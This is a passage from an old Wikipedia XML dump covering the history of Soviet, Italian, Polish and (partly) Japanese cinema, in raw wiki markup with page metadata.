Still, in [[1921]], there was not one functioning cinema in Moscow until late in the year.  Its rapid success, utilizing old Russian and imported feature films, jumpstarted the industry significantly, especially insofar as the government did not heavily or directly regulate what was shown, and by 1923 an additional 89 cinemas had opened.  Despite extremely high taxation of ticket sales and film rentals, there was an incentive for individuals to begin making feature film product again - there were places to show the films - albeit they now had to conform their subject matter to a Soviet world view.  In this context, the directors and writers who had remained in support of the objectives of Communism assumed quick dominance in the industry, as they were the ones who could most reliably and convincingly turn out films that would satisfy government censors.  New talent joined the experienced remainder, and an artistic community assembled with the goal of defining &quot;Soviet film&quot; as something distinct and better from the output of &quot;decadent capitalism&quot;.  The leaders of this community viewed it essential to this goal to be free to experiment with the entire nature of film, a position which would result in several well-known creative efforts but would also result in an unforeseen counter-reaction by the increasingly solidifying administrators of the government-controlled society in which filmmakers were viewed as workers, not masters.

[[Sergei Eisenstein|Eisenstein]]'s ''[[The Battleship Potemkin|Battleship Potemkin]]'' was released to wide acclaim in [[1925]]; the film was heavily fictionalized and also propagandistic, preaching the party line about the virtues of the proletariat.  The party leaders soon found it difficult to control directors' expression, partly because definitive understanding of a film's meaning was elusive.  

One of the most popular films released in 1930s was ''[[Circus (1936 film)|Circus]]''. Notable films from 1940s include ''[[Alexander Nevsky (film)|Aleksandr Nevsky]]'' and ''[[Ivan the Terrible (film)|Ivan Grozny]]''. 

In the late 1950s and early 1960s Soviet Cinema again flowered, beginning with films such as ''Ballada o Soldate'' ''[[Ballad of a Soldier]]'' that won the 1961 [[BAFTA Award for Best Film]] and ''[[The Cranes Are Flying]]''. 

''Vysota (Height)'' is considered to be one of the best films of the 1950s (it also became the foundation of the [[Bard (Soviet Union)|Bard movement]]).

[[Image:Ballada2.jpg|thumb|Screenshot from [[Grigori Chukhrai]]'s ''[[Ballad of a Soldier]]'' (1959).]]

The 1980s saw a diversification of subject matter. Touchy issues could now be discussed openly. The results were films like ''Pokayanie'' (''Repentance'')&lt;!-- *** I am not certain of the Sakartvelo title, someone help *** --&gt;,  which dealt with Stalinist repressions in [[Georgian SSR|Georgia]], and the allegorical [[science fiction]] movie ''[[Kin-Dza-Dza]]'', which satirized the Soviet life in general.

==Censorship==
After [[Stalin]], Soviet filmmakers got a freer hand to film what they believed audiences wanted to see in their film's characters and stories.  However, the industry remained a part of the government and if any material was found politically offensive or undesirable, it was either removed, edited or reshot; or it was shelved. In rare cases the filmmakers managed to convince the government of his innoccence and the film was released.  The definition of &quot;socialist realism&quot; was liberalized to allow development of more human characters, but communism still had to remain uncriticized in its fundamentals.  Additionally, the degree of relative artistic liberality could be changed from administration to administration.

Oddities created by censorship include:

*The first chapter of the epic film ''Освобождение'' (''Liberation'') was filmed 20 years after the subsequent three parts. The director had refused to minimize the errors of the Soviet High Command during the first year of the war, and instead waited for a time when he could film this portion accurately. 

[[Image:Rzhevsky.jpg|thumb|left|250px|[[Yury Yakovlev]] as [[Poruchik Rzhevsky]] in [[Eldar Ryazanov]]'s musical comedy ''[[Hussar Ballad]]'' (1962).]]

==1950s==

In the beginning of the [[Cold War]] writers, still considered the primary auteurs, were all the more reluctant to take up script writing, and the early 50s saw only a handful of feature films completed during any year.  The death of Stalin was a merciful relief to many, and all the more so was the official trashing of his public image as a benign and competent leader by [[Nikita Khruschev]] two years later.  This latter event gave filmmakers the margin of comfort they needed to move away from the narrow formula stories of socialist realism, expand its boundaries, and begin work on a wider range of entertaining and artistic Soviet films.

==1960s-70s== 

The 1960s and 1970s saw the creation of many excellent films, many of which moulded Soviet and post-Soviet culture.  They include:
*''[[The Colour of Pomegranates]]'', an [[Armenia]]n art film, considered a masterpiece by [[Fellini]], [[Jean-Luc Godard]] and [[Antonioni]]
*''[[Seventeen Instants of Spring]] (Semnadtsat mgnoveniy vesny)'', which created the immortal character of [[Russian joke#Standartenführer Stirlitz|Standartenführer Stirlitz]], and whose compelling and unbiased look at the life of a spy in wartorn Germany made the film popular in both the Germanies as well. [[Image:Batalov.jpg|right|frame|[[Aleksey Batalov]] as Gosha in [[Moscow Does Not Believe In Tears]].]]
*''[[White Sun of the Desert]] (Beloe Solntze Pustyni)'' (1970), a classic '[[Ostern|Eastern]]', although with dubious stereotyping of central Asians. It is ritually watched by [[cosmonaut]]s before launches, and has contributed many quotes to the Russian language such as 'The East is a delicate matter'. Its theme tune became a huge hit.
*''[[Solaris (film)|Solaris]]'' (1972)
*''[[Moscow Does Not Believe In Tears]] (Moskva Slezam ne Verit)''
*''[[Ya Shagayu po Moskve]] (I am striding Through Moscow)''
*''[[Irony of Fate]]'' (Original title: Ирония судьбы, или С лёгким паром!)
*''[[Pokrovskiye Vorota]] (Pokrovsky Gates)''
*''[[Gentelmeny Udachi]] (Gentlemen of Fortune)'' starring [[Yevgeny Leonov]]
*''[[Operatzyya &quot;Y&quot; i drugie priklucheniya Shurika]] (Operation &quot;Y&quot; and other Shurik's adventures)''

Soviet directors were more concerned with art than with success (They were paid by the academy, and so money was not a critical issue). This contributed to the creation of a large number of more philosophical films. In keeping with Russian character, tragi-comedies were very popular. Soviet films tend to be rather culture-specific and are difficult for many foreigners to understand without having been exposed to the culture first.

Animation was a respected genre, with many directors experimenting with technique.

These decades were prominent in the production of the [[Ostern]] or Red Western.

Prominent studios included:
*[[Lenfilm]]
*[[Mosfilm]]
*[[Gorky Cinema Studio]] (Kinostudiya imeni Gorkogo)
*[[Odessa Cinema Studio]] (Odesskaya kinostudiya)
*[[Belarusfilm]]
*[[Minsk Cinema Studio]] (Minskaya kinostudiys)
and in the late 1980s:
*[[Pilot (cinema studio)|Pilot]]

In the year of the 60th anniversary of the Soviet cinema ([[1979]]), on [[April 25]], by the ''Decision of the Presidium of the [[Supreme Soviet]] of the [[USSR]]'', the commemorative ''Day of the Soviet cinema'' was established. It was then celebrated in the [[USSR]] each year on [[August 27]], the day, on which [[V. I. Lenin]] signed a decree on the nationalisation of the cinema and photo industries of the country.

==Recent history==
[[Image:Mikhalkov.jpg|thumb|350px|[[Nikita Mikhalkov]] in the [[2005]] [[Fandorin]]-movie ''[http://www.statskyfilm.ru The Councillor of State]''.]]

The collapse of the Soviet Union brought a virtual end to quality cinema (as well as literature) in Russia and the other republics.

Very few films of note were created for over a decade. These included ''[[Oblako-ray]] (Cloud-Paradise)'' and ''[[Utomlennye Solntsem]] (Tired of the Sun; released in English as Burnt by the Sun)''.

[[Sibirskiy tsiryulnik]] (Сибирский цирюльник, English title: The Barber of Siberia; [[1998]]) by [[Nikita Mikhalkov]] became very famous. 

The new Russia's cinema is more profit-oriented, with artistic needs taking a backseat to more immediate desires. Much low-quality action, comedy and pornography has been filmed.

In [[2002]], [[Aleksandr Sokurov]] filmed ''[[Russian Ark]]'', the world's first unedited feature film: recorded in uncompressed high definition, shot in a single take and featuring the world's longest [[Steadicam]] shot.  The film is 90 minutes long.

The thematically similar films, ''[[Vozvrashcheniye|The Return]]'' (''Vozvrashcheniye'') and ''[[The Road to Koktebel]]'', have also received critical acclaim in recent years. ''[[Vozvrashcheniye|The Return]]'' (''Vozvrashcheniye'') won two prestigious awards at the [[Venice Film Festival]].

==Notable filmmakers== 

Early personalities in the development of the Russian cinema:
*[[Sergei Eisenstein]]
*[[Vsevolod Pudovkin]]
*[[Alexander Dovzhenko]]
*[[Dziga Vertov]]
*[[Lev Kuleshov]]
*[[Ivan Pyryev]]
*[[Grigori Aleksandrov]]
*[[Yakov Protazanov]]

Later personalities:
*[[Andrei Konchalovsky]]
*[[Nikita Mikhalkov]]
*[[Aleksandr Sokurov]]
*[[Andrei Tarkovsky]]
*[[Eldar Ryazanov]]
*[[Leonid Gaidai]]
*[[Georgi Daneliya]]
*[[Kira Muratova]]
*[[Sergei Parajanov]]
*[[Andrey Zvyagintsev]]

== See also==
*[[History of Russian animation]]
*[[History of cinema]]
*[[List of Soviet movies of the year by ticket sales]]

==External links==
*[http://www.russiandvd.com/store/default.asp?lang=eng&amp;aid=109570/ Russian Films on DVD @ RussianDVD.com]

*[http://www.alekhine.net/english/movies/ Best Russian Movies (Alekhine net)]
*[http://www.filmdailies.com/archives/review-the-return/ ''The Return'' (Возвращение) Review] at [http://www.filmdailies.com/ FilmDailies.com - a filmmaker's blog]

[[Category:Cinema of Russia]]
[[Category:Cinema of the Soviet Union]]
&lt;!-- The below are interlanguage links. --&gt;

[[de:Russische Filmgeschichte]]
[[fr:Cinéma russe]]
[[no:Sovjetisk montasjefilm]]
[[pt:Cinema da Rússia]]
[[sv:Film i Sovjetunionen]]</text>
    </revision>
  </page>
  <page>
    <title>Cinema of Italy</title>
    <id>10787</id>
    <revision>
      <id>40363461</id>
      <timestamp>2006-02-20T01:50:47Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">{{EuropeanCinema}}

The history of '''[[Italy|Italian]] [[film|cinema]]''' began a just few months after the [[Auguste and Louis Lumière|Lumière brothers]] had discovered the medium, when [[Pope Leo XIII]] was filmed for a few seconds in the act of blessing the camera.  


==Early years==
The Italian film industry took shape between [[1903]] and [[1908]], led by three major companies - the [[Rome|Roman]] ''[[Cines]]'', the ''[[Ambrosio]]'' of [[Turin]] and ''[[Itala Film]]''. Other companies were soon to follow in [[Milan]] and [[Naples]]. In a short period of time, these early companies attained a respectable production quality and soon were selling films abroad as well as inside Italy.

One of the first Italian ''filoni'' (sub-genres) was the historical film: the first work in the genre was [[Filoteo Alberini]]'s ''[[La presa di Roma, 20 settembre 1870]]'' (The Capture of Rome, September 20, 1870), filmed in [[1905]]. Other films portrayed famous historical figures such as [[Nero]], [[Messalina]], [[Spartacus]], [[Julius Caesar]] and [[Cleopatra VII of Egypt|Cleopatra]]. [[Arturo Ambrosio]]'s ''[[Ultimi giorni di Pompei]]'' ([[1908]] - The Last Days of [[Pompeii]]) quickly became famous, so famous that it was remade by Mario Caserini in 1913. In the same year [[Enrico Guazzoni]] directed the widely appreciated ''[[Mark Antony]] and Cleopatra''.

Actresses [[Lyda Borelli]] and [[Francesca Bertini]] were the first ''&quot;divas&quot;'' (stars), specialising in passionate tragedies. [[Francesca Bertini]] became the first &quot;star&quot; of cinema, as well as the first [[Actor|actress]] to appear on film partly naked.

Other ''filoni'' featured social themes, often based on published literature. In [[1916]] the film ''[[Cenere]]'' (Ash) was based on [[Grazia Deledda]]'s book, and interpreted by the [[theatre]] actress [[Eleonora Duse]] (also famous as [[Gabriele D'Annunzio]]'s lover).

==Introduction of sound==
Despite the introduction of sound, economic problems stemming from [[World War I]] caused the quality of Italian films to decline. It was only at the end of the [[1920s]] that the industry began to recover, with innovative films directed by [[Alessandro Blasetti]], [[Mario Camerini]] and his cousin [[Augusto Genina]].

Blasetti opened his long career with a vanguard project (''Sole'', [[1928]]) and in the following years directed the famous Italian comedian [[Ettore Petrolini]] in his comic ''Nero'' (an extremely sophisticated [[satire]] of [[Benito Mussolini|Mussolini]] that, it is said, the [[dictator]] himself allowed to pass [[censorship]]).

Another burgeoning genre was ''[[Telefoni Bianchi]]'' (white telephones), so named because of the characteristic presence of these objects in scenes.  The ''Telefoni Bianchi'' included films that illustrated high society, with a heavy dose of formal [[morality]] reflecting the culture of the age. These films, generally little thought-of, launched the careers of many stars, such as [[Vittorio De Sica]] and [[Alida Valli]].

==Cinecittà==
Meanwhile, [[fascism]] had created a board of judgment for popular culture. This administration suggested, with Mussolini's full approval, the creation of some important structures for Italian cinema. An area was founded in southeast Rome to build ''ex novo'' a town exclusively for cinema, dubbed the [[Cinecittà]]. The town was conceived in order to provide everything necessary for filmmaking: theatres, technical services, and even a cinematography school for younger apprentices. Even today, many films are shot entirely in Cinecittà. At the same time [[Vittorio Mussolini]], the son of the dictator, created a national production company and organised the work of the most gifted authors, directors and actors (including even some political opponents), thereby creating an interesting communication network among them, resulting in several famous friendships and, beyond that, stimulating cultural interaction. [[Roberto Rossellini]], [[Federico Fellini]] among many others.

==Neorealism==
{{main|Italian neorealism}}
Italian cinema had only a small price to pay for dictatorship. With the approaching [[World War II|war]], many works were produced for [[propaganda]] purposes, as is the case in many countries at-war. Nevertheless, in [[1942]] Blasetti produced his ''[[Quattro passi tra le nuvole]]'' (Four Steps in the Clouds), which is the story of a humble employee, considered by many as the first neorealist work.

[[Italian neorealism|Neorealism]] exploded soon after the war, with unforgettable works such as Rossellini's trilogy and with extraordinary actors such as [[Anna Magnani]], as an attempt to describe the difficult economic and moral conditions of Italy and the changes in public mentality in everyday life. Also, because Cinecittà was occupied by refugees, films were shot outdoors, on the devastated roads of a defeated country. This genre soon also became an important political tool, although in most cases directors were able to keep a distinguishing barrier between art and politics.

Poetry and cruelty of life were harmonically combined in the works that [[Vittorio De Sica]] wrote and directed together with screenwriter [[Cesare Zavattini]]: among them, ''[[Sciuscià]]'' (Shoeshine - [[1946]]), ''[[Ladri di Biciclette]]'' ([[The Bicycle Thief]], [[1948]]) and ''[[Miracolo a Milano]]'' (Miracle in Milan, [[1950]]). The sad, bitter '''[[Umberto D.]]''' ([[1952]]), the touching story of a poor old man with his little dog, who life forces to beg for alms against his dignity in the loneliness of the new society, is perhaps De Sica's masterpiece and one of the most important works in Italian cinema. Baptised with a heavy polemic with government, that would have censored it for alleged anti-national sentiments, the film was not a commercial success and since then it has been shown on Italian television only a few times. Yet it is perhaps the most violent attack, in the apparent quietness of the action, against the rules of the new economy, the new mentality, the new values, and it happens to have at the same time both a conservative and a progressive view.

==Pink neorealism and Comedy==
It has been said that after &quot;Umberto D.&quot; nothing more could be added to neorealism. Whether because of this, or for other reasons, neorealism effectively ended with this film. Following works turned toward lighter atmospheres, perhaps more coherent with the improving conditions of the country, and this genre has been called ''pink neorealism''. It was this ''filone'' that allowed better &quot;equipped&quot; actresses to become real celebrities: the encouraging figures of [[Sophia Loren]], [[Gina Lollobrigida]], [[Silvana Pampanini]], [[Lucia Bosé]], together with other beauties like [[Eleonora Rossi Drago]], [[Silvana Mangano]], [[Claudia Cardinale]],  and [[Stefania Sandrelli]] populated the imaginations of Italians just before the so-called &quot;boom&quot; of the [[1960s]]. Soon pink neorealism was replaced by the ''Commedia all'Italiana'' (Italian Comedy), a unique genre that, born on an ideally humouristic line, talked instead very seriously about important social themes.

At this time, on the more commercial side of production, the phenomenon of [[Totò]], a Neapolitan actor who is acclaimed as the major Italian comic, exploded.  His films (often with [[Peppino De Filippo]] and almost always with [[Mario Castellani]]) expressed a sort of neorealistic satire, in the means of a [[guitto]] as well as with the art of the great dramatic actor he also was, like [[Pier Paolo Pasolini]] would have shown. A &quot;film-machine&quot; who produced dozens of titles per year, his repertoire was frequently repeated. His personal story (a prince born in the poorest ''rione'' of [[Naples]]), his unique twisted face, his special mimic expressions and his gesture, created an inimitable personage and made this man one of the most beloved Italians in his own country.

Italian Comedy is generally considered to have started with [[Mario Monicelli]]'s ''I soliti Ignoti'' ([[Big Deal on Madonna Street]]) and derives its name from the title of [[Pietro Germi]]'s ''Divorzio all'Italiana'' (Divorce Italian Style - [[1961]]). For a long time this definition was used with a derogatory intention.

[[Vittorio Gassman]], [[Marcello Mastroianni]], [[Ugo Tognazzi]], [[Alberto Sordi]], [[Claudia Cardinale]], [[Monica Vitti]] and [[Nino Manfredi]] were among the stars of these movies, that described the years of the economical reprise and investigated Italian dress, a sort of self-ethnological research.

In [[1961]], [[Dino Risi]] directed ''Il sorpasso'', now a cult-movie, then ''Una vita difficile'' (A Difficult Life), ''I mostri'' (The Monsters, a.k.a. 15 From Rome), ''In nome del Popolo Italiano'' (In the Name of the Italian People) and ''Profumo di donna'' (Scent of a Woman).

Monicelli's works include ''La grande guerra'' (The Great War), ''I compagni'' (Comrades, a.k.a. The Organizer), ''L'armata Brancaleone'', ''Vogliamo i colonnelli'' (We Want the Colonels), ''Romanzo popolare'' (Popular Romance) and ''Amici miei''.

==The Spaghetti Western==
{{main|Spaghetti Western}}
At the same time, another genre, the [[Spaghetti Western]] began to achieve great success, not only in Italy, but throughout the world.  These films differed from traditional [[western]]s not only in that they were filmed in Italy on low budgets, but also by their unique, vivid cinematography.  The most important and popular spaghetti westerns were those of [[Sergio Leone]], whose [[Dollars Trilogy]], consisting of [[A Fistful of Dollars]], [[For A Few Dollars More]], and [[The Good, the Bad, and the Ugly]], which also featured [[Clint Eastwood]] and scores by [[Ennio Morricone]], came to define the genre.

Also considered spaghetti westerns is a genre of film that married the traditional western ambience with the comic tradition of the [[Commedia all'italiana]].  Included among such films are [[Lo chiamavano Trinità...]] and [[...continuavano a chiamarlo Trinità]], which featured [[Bud Spencer]] and [[Terence Hill]], the stage names of [[Carl Pedersoli]] and [[Mario Girotti]], respectively.

==The Crisis of the 80's==

Between the late 70's and mid-80's, Italian cinema endured a long period of crisis.  During this time, &quot;art films&quot; became increasingly isolated, separating from the mainstream Italian cinema.  Among the major artistic films of this era were ''[[La città delle donne]]'' of Fellini, ''[[L'albero degli zoccoli]]'' by [[Ermanno Olmi]], winner of the [[Palme d'Or]] at the [[Cannes Film Festival]], and ''[[Bianca]]'' by [[Nanni Moretti]].  Although not entirely Italian, Bertolucci's [[The Last Emperor]], winner of 9 Oscars, cannot be ignored.

At the same time, &quot;trash films&quot; reached great success with the Italian public.  Films of little artistic value, these comedies reached their popularity by confronting Italian social taboos, most notably in the sexual sphere.  Several actors, including [[Lino Banfi]], [[Diego Abatantuono]], [[Alvaro Vitali]], [[Gloria Guida]] and [[Edwige Fenech]] owe much of their popularity to these films.

Also considered part of the trash genre are a group of films that have the ragionier Fantozzi, a comic personage invented by [[Paolo Villaggio]]; this character had a great impact on Italian society, to such a degree that the adjective ''fantozziano'' entered the lexicon. Of the many films telling of Fantozzi's misadventures, the most notable were [[Fantozzi]] and [[Il secondo tragico Fantozzi ]].

==1990 to Today==
A new generation of directors has helped return Italian cinema to a healthy level since the end of the 80's.  The sign-bearer for this renaissance is [[Nuovo Cinema Paradiso]], for which [[Giuseppe Tornatore]] won the Oscar for Best Foreign Film in 1990.  This victory was followed two years later by another, when [[Gabriele Salvatores]]'s [[Mediterraneo]] won the same prize.

...

==Renowned figures==
===Directors===
* '''[[List of film directors from Italy]]'''

===Actors and Actresses===
* '''[[List of actors from Italy]]''' for '''male actors'''
* '''[[List of actress from Italy]]''' for '''female actress'''

===Literature===
*Bacon, Henry. 1998. Visconti: Explorations of Beauty and Decay. Cambridge: Cambridge University Press
*Ben-Ghiat, Ruth. 'The Fascist War Trilogy'. Forgacs, David , Lutton, Sarah and Nowell-Smith Geoffrey.Eds. Roberto Rossellini: Magician of the Real . London: BFI
*Bernardi, Sandro. 2000. 'Rosselini's Landscapes: Nature, Myth,History'. Forgacs, David , Lutton, Sarah and Nowell-Smith Geoffrey.Eds. Roberto Rossellini: Magician of the Real . London: BFI
*Bondanella, Peter. 2002. The Films of Federico Fellini. Cambridge: Cambridge University Press. ISBN 0-521-57573-7
*Bondanella, Peter. 3rd edition. 2002. Italian  Cinema: From Neorealism to the Present. New York and London: Continuum
*Clark, Martin. 1984. Modern Italy 1871-1982. London: Longman
*Forgacs, David. 2000. 'Introduction: Rossellini and the Critics'. Forgacs, David , Lutton, Sarah and Nowell-Smith Geoffrey.Eds. Roberto Rossellini: Magician of the Real . London: BFI
*Forgacs, David , Lutton, Sarah and Nowell-Smith Geoffrey.Eds. 2000. Roberto Rossellini: Magician of the Real. London: BFI
*Indiana, Gary. 2000. Salo or The 120 Days of Sodom. London, BFI
*Kemp, Philip. 2002. 'The Son's Room'. Sight and Sound. Vol 12  No 3 March p56
*Landy, Marcia. 2000. Italian Film. Cambridge: Cambridge University Press
*Mancini, Elaine. 1985 Struggles of the Italian Film Industry during Fascism 1930-1935 Ann Arbor: UMI Press
*Marcus, Millicent. 1993. Filmaking by the Book. Baltimore: Johns Hopkins University Press
*Marcus, Millicent. 1986. Italian Film in the Light of Neorealism. Princeton: Princeton University Press
*Morandini, Morando. 1997. ' Vittorio de Sica' . Nowell-Smith Geoffrey Ed : Oxford History of World Cinema. Oxford : Oxford University Press.
*Morandini, Morando. 1997. 'Italy from Fascism to Neo-Realism'. Nowell-Smith Geoffrey Ed : Oxford History of World Cinema. Oxford : Oxford University Press.
*Nowell-Smith, Geoffrey. 2003 3rd edition. Luchino Visconti. London: British Film Institute
*Nowell-Smith, Geoffrey. 2000. 'North and South, East and West': Rossellini and Politics. Forgacs, David , Lutton, Sarah and Nowell-Smith Geoffrey.Eds. Roberto Rossellini: Magician of the Real . London: BFI
*Rohdie, Sam. 2002.  Fellini Lexicon. London: BFI
*Rohdie, Sam. 2000. 'India' Forgacs, David , Lutton, Sarah and Nowell-Smith Geoffrey.Eds. Roberto Rossellini: Magician of the Real.  London: BFI
*Rohdie, Sam. Rocco and his Brothers. London: BFI
*Sitney, P. Adams. 1995. Vital Crises in Italian Cinema. Austin: University of Texas Press. ISBN 0-292-77688-8
*Sorlin, Pierre. 1996. Italian National Cinema. London: Routledge
*Usai, Poalo, Cherchi. 1997. ' Italy: Spectacle and Melodrama'. Nowell-Smith Geoffrey Ed : Oxford History of World Cinema. Oxford : Oxford University Press.
*Wagstaff, Christopher. 2000. 'Rossellini and Neo-Realism'. Forgacs, David , Lutton, Sarah and Nowell-Smith Geoffrey.Eds. Roberto Rossellini: Magician of the Real . London: BFI
*Wood Mary. 2002. ' Bernado Bertolucci in context': Tasker Yvonne: Fifty Contemporary Filmmakers . London : Routledge
*Wood, Michael. 2003. 'Death becomes Visconti'. Sight and Sound , May 2003 Volume 13 Issue 5 , pp 24-27

==See also==
* [[History of cinema]]
* [[Film director]]s

==External links==
*[http://www.bfi.org.uk/features/galleries/cinemaitalia/ ''Cinema Italia Stills &amp; Posters Gallery'']
**from the [[British Film Institute]], (gallery navigation is on the left).

[[Category:Cinema of Italy]]

[[fr:Cinéma italien]]
[[it:Cinema italiano]]
[[hu:Olasz film]]
[[pt:Cinema italiano]]</text>
    </revision>
  </page>
  <page>
    <title>Cinema of Poland</title>
    <id>10789</id>
    <revision>
      <id>40357528</id>
      <timestamp>2006-02-20T01:03:30Z</timestamp>
      <contributor>
        <username>Rmo13</username>
        <id>273904</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{EuropeanCinema}}
== Directors ==
*[[Józef Arkusz]]
*[[Stanisław Bareja]]
*[[Aleksander Ford]]
*[[Wojciech Has]]
*[[Agnieszka Holland]]
*[[Jerzy Hoffman]]
*[[Jerzy Kawalerowicz]]
*[[Krzysztof Kieślowski]] -- The ''[[Three Colors]]'' trilogy, ''[[The Decalogue]]''
*[[Jan Jakub Kolski]]
*[[Kazimierz Kutz]]
*[[Juliusz Machulski]]
*[[Andrzej Munk]]
*[[Marek Piwowski]]
*[[Roman Polański]]
*[[Ladislas Starevich]] Wladyslaw Starewicz
*[[Andrzej Wajda]]
*[[Krzysztof Zanussi]]
*[[Andrzej Zulawski]]

== Actors and actresses ==
*[[Pola Negri]]
*[[Eugeniusz Bodo]]
*[[Michał Bajor]]
*[[Zbigniew Cybulski]]
*[[Paweł Deląg]]
*[[Katarzyna Figura]]
*[[Marek Kondrat]]
*[[Bogusław Linda]]
*[[Magdalena Mielcarz]]
*[[Daniel Olbrychski]]
*[[Cezary Pazura]]
*[[Wojciech Pszoniak]]
*[[Izabella Scorupco]] (left Poland in 1978)
*[[Andrzej Seweryn]]
*[[Jerzy Stuhr]]

== Notable [[film]]s ==
*[[Kanal (movie)|Kanal]]
*[[Ashes and Diamonds]]
*[[The Saragossa Manuscript]]
*[[The Hour-Glass Sanatorium]]
*[[The Cruise (film)|The Cruise]] aka The Trip Down the River
*[[Kiler]]
*[[The Decalogue]]
*[[The Pianist (memoir)|The Pianist]]
*[[Seksmisja]]

==See also==
* [[Polish film school]]
* [[National Film School in Łódź]]
* [[Polish Film Institute]]
* [[History of cinema]]
* [[List of famous Poles]]

==External links==
*[http://www.pisf.pl Polish Film Institute]
*[http://www.filmpolski.pl Internet Polish Movie Database]
*[http://www.findarticles.com/p/articles/mi_qa3763/is_199803/ai_n8792389 Film theory in Poland before World War II]Marek Haltof, ''Canadian Slavonic Papers'',  March-June 1998.

{{film-stub}}
{{poland-stub}}

[[Category:Cinema of Poland| ]]

[[pl:Film polski]]
[[de:Polnische Filmgeschichte]]</text>
    </revision>
  </page>
  <page>
    <title>Cinema of Japan</title>
    <id>10790</id>
    <revision>
      <id>41848156</id>
      <timestamp>2006-03-02T03:14:57Z</timestamp>
      <contributor>
        <username>Nihonjoe</username>
        <id>446342</id>
      </contributor>
      <minor />
      <comment>/* See also */ fix link</comment>
      <text xml:space="preserve">{{EasternCinema}}'''Japanese cinema''' (映画; ''Eiga'') has a history in [[Japan]] that spans more than 100 years.

==Genres==
*'''[[Anime]]''': Japanese [[animation]].
*'''[[Jidaigeki]]''', period pieces featuring [[samurai]], also known as '''Chambara''' ([[onomatopoeia]] describing the sound of swords clashing).
*'''[[Horror film|Horror]]''' films such as ''[[Ring (film)|Ringu]]'', also known as [[J-Horror]]
*'''[[Cult film|Cult Horror]]''', such as ''[[Battle Royale]]'' or ''[[Jisatsu Circle|Suicide Club]]''
*'''[[Kaiju]]''': [[monster]] films, such as ''[[Godzilla (1954 film)|Gojira]]''
*'''[[Pinku eiga|Pink films]]''', [[pornography|pornographic]] films. Often more socially-engaged and aesthically well-crafted than simple pornography.
*'''[[Yakuza film|Yakuza films]]''': films about [[mafia|mobsters]].

==History==
===The Silent Era===
The first film produced in Japan was the short documentary ''Geisha No Teodori'' (&amp;#33464;&amp;#32773;&amp;#12398;&amp;#25163;&amp;#36362;&amp;#12426;) in June of [[1899]].

The first Japanese performer to appear in a film professionally was the [[dancer]]/[[actor|actress]] [[Tokuko Nagai Takagi]], who appeared in four shorts for the American-based  [[Thanhouser Company]] between 1911 and 1914 [http://www.brightlightsfilm.com/30/tokuko.html (source)].  

Most Japanese cinema theatres at the time employed ''[[benshi]]'', narrators whose dramatic readings accompanied the film and its musical score which, like in [[Western countries|the West]], was often performed live. (See also the books ''Benshi, Japanese Silent Film Narrators, and their Forgotten Narrative Art of Setsumei A History of Japanese Silent Film Narration''
by [[Jeffrey A. Dym]] and [http://www.infoasia.co.jp/ucsubs/benshi_e.html ''The Benshi--Japanese Silent Film Narrators''].)

The [[Great Kantō earthquake|1923 earthquake]], the Allied bombing of Tokyo during [[World War II]], as well as the natural effects of time and Japan's [[humidity]] on the then more fragile [[celluloid|filmstock]] have all resulted in a great dearth of surviving films from this period.

Some of the most discussed silent films from Japan are those of [[Kenji Mizoguchi]], whose later works (e.g., ''[[The Life of Oharu]]'') are still highly regarded today.

A study of the &quot;gendaigeki&quot; (contemporary/modern film drama) and writing for film in Japan in the 1910s to early 1920s, with select translations of scripts (complete as well as excerpts) is available in &quot;Writing in Light: The Silent Scenario and the Japanese Pure Film Movement&quot; (Joanne Bernardi, Wayne State University Press, 2001).

===The 1930s===
Unlike Hollywood, silent films were still being produced in Japan well into the 1930s. Notable [[Sound film|talkies]] of this period include [[Kenji Mizoguchi|Mizoguchi]]'s ''[[Sisters of the Gion]]'' (''Gion no shimai'', 1936), ''Osaka Elegy'' (''Naniwa erejî'', 1936) ''[[The Story of the Late Chrysanthemums]]'' (''Zangiku monogatari'', 1939). With increasing censorship, the left-leaning [[tendency film]]s of directors such as [[Daisuke Ito]] come under attack.

===The 1940s===
[[Akira Kurosawa]] makes his feature film debut with ''[[Sugata Sanshiro (1943 movie)|Sugata Sanshiro]]'' in 1943. With the [[SCAP]] occupation following the end of [[World War II|WWII]], Japan is exposed to over a decade's worth of American [[animation]] that had been banned under the war-time government.

===The 1950s===
The [[Akira Kurosawa]]-directed ''&amp;#19971;&amp;#20154;&amp;#12398;&amp;#20365; ([[The Seven Samurai]])'' is released in 1954, the same year as ''&amp;#12468;&amp;#12472;&amp;#12521; (Gojira),'' known to the West (and to Japan from its first sequel on) as ''[[Godzilla]].'' Over ten minutes of footage  is cut from ''Godzilla'' by its American distributor, mostly of wounded civilians in burning cities, evoking the recent [[Nuclear weapon|Atomic Bombings]] of [[Hiroshima, Hiroshima|Hiroshima]] and [[Nagasaki, Nagasaki|Nagasaki]]. ''[[Kaiju|Daikaiju]]'' films were a mainstay of Japanese cinema for well into the 1970s, and are still being made today. Kurosawa directs [[Rashomon (movie)|Rashōmon]] (1950).

[[Kenji Mizoguchi]] directs ''[[The Life of Oharu]]'' (Saikaku Ichidai Onna, [[1952]]), ''[[Ugetsu]]'' (Ugetsu Monogatari, [[1953]]) and ''[[Sansho the Bailiff]]'' (Sansho Dayu, [[1954]]).
ggt
[[Mikio Naruse]] directs  ''[[Repast]]'' (1950) and ''[[Floating Clouds]]'' (1955).

[[Yasujiro Ozu]] directs ''[[Tokyo Story]]'' (''Tōkyō monogatari'') ([[1953]]) and  ''[[Good Morning (movie)|Good Morning]]'' (''Ohayō'') ([[1959]]). Many have argued that ''[[Tokyo Story]]'' is the greatest film ever made, surpassing even ''[[Citizen Kane]]''.

===The 1960s===
[[Technicolor]] makes its mark. [[Kon Ichikawa]] captures the watershed [[1964 Summer Olympics|1964 Olympics]] in his three-hour documentary ''Tokyo Olympiad'' (''Tōkyō Orimpikku''; 1965). [[Nikkatsu Corporation|Nikkatsu]] fires [[Suzuki Seijun]] for &quot;making films that don't make any sense and don't make any money&quot; after his surrealist [[yakuza]] flick ''[[Branded to Kill]]'' (1967).

[[Osamu Tezuka]]'s ''Tetsuwan Atomu'' introduces [[anime]] to television and gives the world ''[[Astro Boy]]'' in [[1963]].

[[Nagisa Oshima]], [[Kaneto Shindo]], and [[Shohei Imamura]] emerge as major filmmakers during the decade.

